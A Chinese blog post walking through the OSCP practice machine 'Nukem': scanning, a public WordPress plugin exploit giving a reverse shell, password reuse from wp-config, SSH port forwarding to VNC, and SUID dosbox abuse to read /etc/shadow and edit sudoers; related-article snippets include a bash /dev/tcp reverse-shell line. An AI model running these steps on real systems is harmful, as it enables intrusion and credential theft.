OSCP靶场--Nukem

2024-04-13 16:12
文章标签 靶场 oscp nukem

本文主要是介绍OSCP靶场--Nukem，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

OSCP靶场–Nukem

考点(公共exp反弹shell+密码复用+ssh端口转发+dosbox suid提权)

1.nmap扫描

┌──(root㉿kali)-[~/Desktop]
└─# nmap -sV -sC 192.168.158.105 -Pn --min-rate 2500
Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-12 01:33 EDT
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 192.168.158.105
Host is up (2.0s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:6a:f5:d3:30:08:7a:ec:38:28:a0:88:4d:75:da:19 (RSA)
|   256 43:3b:b5:bf:93:86:68:e9:d5:75:9c:7d:26:94:55:81 (ECDSA)
|_  256 e3:f7:1c:ae:cd:91:c1:28:a3:3a:5b:f6:3e:da:3f:58 (ED25519)
80/tcp   open  http    Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.10
|_http-generator: WordPress 5.5.1
|_http-title: Retro Gamming – Just another WordPress site
3306/tcp open  mysql?
| fingerprint-strings: 
|   NULL, SSLSessionReq: 
|_    Host '192.168.45.195' is not allowed to connect to this MariaDB server
5000/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.8.5)
|_http-server-header: Werkzeug/1.0.1 Python/3.8.5
|_http-title: 404 Not FoundService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.69 seconds

2.user priv

2.1 wscan扫描&插件exp反弹shell：

## 目录扫描发现是wp:#################
##
┌──(root㉿kali)-[~/Desktop]
└─# wpscan --url http://192.168.158.105
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.22Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[+] URL: http://192.168.158.105/ [192.168.158.105]
[+] Started: Fri Apr 12 02:35:53 2024Interesting Finding(s):[+] Headers| Interesting Entries:|  - Server: Apache/2.4.46 (Unix) PHP/7.4.10|  - X-Powered-By: PHP/7.4.10| Found By: Headers (Passive Detection)| Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.158.105/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:|  - http://codex.wordpress.org/XML-RPC_Pingback_API|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://192.168.158.105/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] Upload directory has listing enabled: http://192.168.158.105/wp-content/uploads/| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.158.105/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:|  - https://www.iplocation.net/defend-wordpress-from-ddos|  - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).| Found By: Rss Generator (Passive Detection)|  - http://192.168.158.105/index.php/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>|  - http://192.168.158.105/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>[+] WordPress theme in use: news-vibrant| Location: http://192.168.158.105/wp-content/themes/news-vibrant/| Last Updated: 2023-06-07T00:00:00.000Z| Readme: http://192.168.158.105/wp-content/themes/news-vibrant/readme.txt| [!] The version is out of date, the latest version is 1.5.0| Style URL: http://192.168.158.105/wp-content/themes/news-vibrant/style.css?ver=1.0.1| Style Name: News Vibrant| Style URI: https://codevibrant.com/wpthemes/news-vibrant| Description: News Vibrant is a modern magazine theme with creative design and powerful features that lets you wri...| Author: CodeVibrant| Author URI: https://codevibrant.com|| Found By: Css Style In Homepage (Passive Detection)|| Version: 1.0.12 (80% confidence)| Found By: Style (Passive Detection)|  - http://192.168.158.105/wp-content/themes/news-vibrant/style.css?ver=1.0.1, Match: 'Version:            1.0.12'[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:[+] simple-file-list| Location: http://192.168.158.105/wp-content/plugins/simple-file-list/| Last Updated: 2024-03-16T21:14:00.000Z| [!] The version is out of date, the latest version is 6.1.11|| Found By: Urls In Homepage (Passive Detection)|| Version: 4.2.2 (100% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)|  - http://192.168.158.105/wp-content/plugins/simple-file-list/readme.txt| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)|  - http://192.168.158.105/wp-content/plugins/simple-file-list/readme.txt[+] tutor| Location: http://192.168.158.105/wp-content/plugins/tutor/| Last Updated: 2024-03-11T11:50:00.000Z| [!] The version is out of date, the latest version is 2.6.2|| Found By: Urls In Homepage (Passive Detection)|| Version: 1.5.3 (100% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)|  - http://192.168.158.105/wp-content/plugins/tutor/readme.txt| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)|  - http://192.168.158.105/wp-content/plugins/tutor/readme.txt[+] Enumerating Config Backups (via Passive and Aggressive Methods)Checking Config Backups - Time: 00:01:25 <===============================================================================================================> (137 / 137) 100.00% Time: 00:01:25[i] No Config Backups Found.[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Fri Apr 12 02:41:25 2024
[+] Requests Done: 175
[+] Cached Requests: 5
[+] Data Sent: 45.651 KB
[+] Data Received: 287.41 KB
[+] Memory used: 250.41 MB
[+] Elapsed time: 00:05:31##############################
## simple-file-list   exploit
##
https://www.exploit-db.com/exploits/48979###################################
## 反弹shell:
┌──(root㉿kali)-[~/Desktop]
└─# python 48979.py http://192.168.158.105
[ ] File 8003.png generated with password: 8cff6486c3aa0592d9f543ac7d393cc0
[ ] File uploaded at http://192.168.158.105/wp-content/uploads/simple-file-list/8003.png
[ ] File moved to http://192.168.158.105/wp-content/uploads/simple-file-list/8003.php
[+] Exploit seem to work.
[*] Confirmning ...###################################
##
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 80                   
listening on [any] 80 ...
192.168.158.105: inverse host lookup failed: Unknown host
connect to [192.168.45.195] from (UNKNOWN) [192.168.158.105] 33210
bash: cannot set terminal process group (350): Inappropriate ioctl for device
bash: no job control in this shell
[http@nukem simple-file-list]$ whoami
whoami
http
[http@nukem simple-file-list]$ ##########################
##
[http@nukem http]$ cd /home/
[http@nukem home]$ ls
commander
[http@nukem home]$ cd commander
[http@nukem commander]$ ls
Desktop  local.txt  python_rest_flask
[http@nukem commander]$ cat local.txt
6abce5d1e748bf68cf1f5515edbab6d9

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3. root priv

###############
## linpeas枚举：
## 活跃端口：
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                                                                                 
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                                                                                                             
tcp        0      0 0.0.0.0:13000           0.0.0.0:*               LISTEN      558/nginx: worker p 
tcp        0      0 127.0.0.1:5901          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:36445           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::3306                 :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::36445                :::*                    LISTEN      - ###################
## SUID dosbox
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                                                              
...
-rwsr-xr-x 1 root root 2.5M Jul  7  2020 /usr/bin/dosbox
########################
## 发现mysql凭据，用户名与/etc/passwd中的用户一致：
## 尝试su 或ssh切换用户：
╔══════════╣ Analyzing Wordpress Files (limit 70)
-rw-r--r-- 1 http root 2913 Sep 18  2020 /srv/http/wp-config.php                                                                                                                              
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'commander' );
define( 'DB_PASSWORD', 'CommanderKeenVorticons1990' );
define( 'DB_HOST', 'localhost' );### 切换成功：
[http@nukem tmp]$ su commander
Password: 
[commander@nukem tmp]$ ######################
## dosbox提权：
https://gtfobins.github.io/gtfobins/dosbox/#suid
https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-nukem-3fe58fcf64ec#####
## Dosbox 二进制文件设置了 SUID 位，但它不会在控制台中启动。因此，我们需要访问图形界面。幸运的是，
## VNC 会话正在该服务器的端口 5901 上运行。## 因为vnc只能本地访问，所以先建立端口转发：
## ssh建立端口转发：
┌──(root㉿kali)-[~/Desktop]
└─# ssh -L 5901:localhost:5901 commander@192.168.158.105
commander@192.168.158.105's password: 
Last login: Fri Apr 12 08:20:18 2024 from 192.168.45.195
[commander@nukem ~]$ ###########
## vnc登陆：
┌──(root㉿kali)-[~/Desktop]
└─# vncviewer localhost:5901
Connected to RFB server, using protocol version 3.8
Performing standard VNC authentication
Password: 
Authentication successful############
## 进入dosbox终端：
Z:\> mount C /etc
Drive C is mounted as local directory /etc/Z:\> C:C:\> type shadow
root:$6$MfW0zuduZhJE.svF$uDYH.../K0:18523::::::
bin:!*:18523::::::
daemon:!*:18523:::::
...## 修改sudoers文件：
C:\> echo commander ALL=(ALL) ALL >> sudoers########################
##
## ssh切换用户：
┌──(root㉿kali)-[~/Desktop]
└─# ssh commander@192.168.158.105 
[commander@nukem ~]$ sudo su root
[sudo] password for commander: 
[root@nukem commander]# whoami
root
[root@nukem commander]#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.总结：

## writeup
https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-nukem-3fe58fcf64ec## suid dosbox提权：
https://gtfobins.github.io/gtfobins/dosbox/#suid

这篇关于OSCP靶场--Nukem的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/900602。

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点：Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点：弱密码字典爆破 四种方法：   [web][极客大挑战 2019]Http 考点：Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩，我们先查看源代码
阅读更多...
log4j靶场，反弹shell

log4j靶场，反弹shell

1.用vulhub靶场搭建，首先进入目录CVE-2021-44228中，docker启动命令 2.发现端口是8983，浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显，看看有没有漏洞存在 4.反弹shell到kali（ip为172.16.1.18）的8888端口 bash -i >& /dev/tcp/172.16.1.18
阅读更多...
红日靶场----（四）1.后渗透利用阶段

红日靶场----（四）1.后渗透利用阶段

使用Metasploit进入后渗透利用阶段     一旦我们获取了目标主机的访问权限，我们就可以进入后渗透利用阶段，在这个阶段我们收集信息，采取措施维护我们的访问权限，转向其他机器     Step01：上线MSF（通过metasploit获取目标系统的会话-即SHELL） 常用选项-p //指定生成的Payload--list payload //列出所支持的Payload类
阅读更多...
【红日靶场】ATTCK实战系列——红队实战（一）手把手教程

【红日靶场】ATTCK实战系列——红队实战（一）手把手教程

目录 入侵网络的思路 一些概念 （1）工作组 （2）域 （3）账号 红日靶机（一） 网络结构 下载 配置web服务器的两张网卡 配置内网的两台机器（域控和域内主机） 渗透web服务器 外网信息搜集 （1）外网信息搜集的内容 （2）开始信息搜集（主要是利用工具） 漏洞利用 （1）漏洞利用的两种方式 （2）利用phpMyAdmin （3）开启3389端口远程桌面
阅读更多...
tomato靶场攻略

tomato靶场攻略

1.使用nmap扫描同网段的端口，发现靶机地址 2.访问到主页面，只能看到一个大西红柿 3.再来使用dirb扫面以下有那些目录，发现有一个antibot_image 4.访问我们扫到的地址 ，点金目录里看看有些什么文件 5.看到info.php很熟悉，点进去看看   6.查看源代码发现是通过GET方式传参的 ，有文件包含漏洞 7. 利用文件包含漏洞，我们尝试查看一
阅读更多...
Tomato靶场渗透测试

Tomato靶场渗透测试

1.扫描靶机地址 可以使用nmap进行扫描 由于我这已经知道靶机地址 这里就不扫描了 2.打开网站 3.进行目录扫描 dirb    http：//172.16.1.113 发现有一个antibot_image目录 4.访问这个目录 可以看到有一个info.php 5.查看页面源代码 可以发现可以进行get传参 6.尝试查看日志文件 http://172.16
阅读更多...
攻防世界 —— 靶场笔记合集

攻防世界 —— 靶场笔记合集

靶场地址：https://adworld.xctf.org.cn/ 备注：此为靶场笔记合集的目录，是我接下来待更新的内容（主要是因为主线一篇太耗时间了，所以开通一条支线，来满足我日更两篇的目标，当该靶场更新完毕后，此条注释会删除） 0x01：Misc 0x02：Pwn 0x03：Web 0x0301：Web - Level 1 0x04：Reverse 0x05：Crypto
阅读更多...
【靶场】upload-labs-master（前11关）

【靶场】upload-labs-master（前11关）

🏘️个人主页： 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】upload-labs-master（前11关） 第一关 Pass-01第二关 Pass-02第三关 Pass-03第四关 Pass-04第五关 Pass-05第六关 Pass-06第七关 Pass-07第八关 Pass-08第九关 Pass-09第十关 Pass-10第
阅读更多...
pikachu文件包含漏洞靶场通关攻略

pikachu文件包含漏洞靶场通关攻略

本地文件包含 先上传一个jpg文件，内容写上<?php phpinfo();?> 上传成功并且知晓了文件的路径 返回本地上传，并../返回上级目录 可以看到我们的php语句已经生效 远程文件包含 在云服务器上创建一个php文件 然后打开pikachu的远程文件包含靶场，随便选一个提交 在filename处修改为云服务器的目标地址 127.0.0.1/pik
阅读更多...
【靶场】CTFshow—vip限免题目11~20

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页： 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载 域名txt记录泄露 提示：域名其实也可以隐藏信息，比如ctfshow.com 就
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2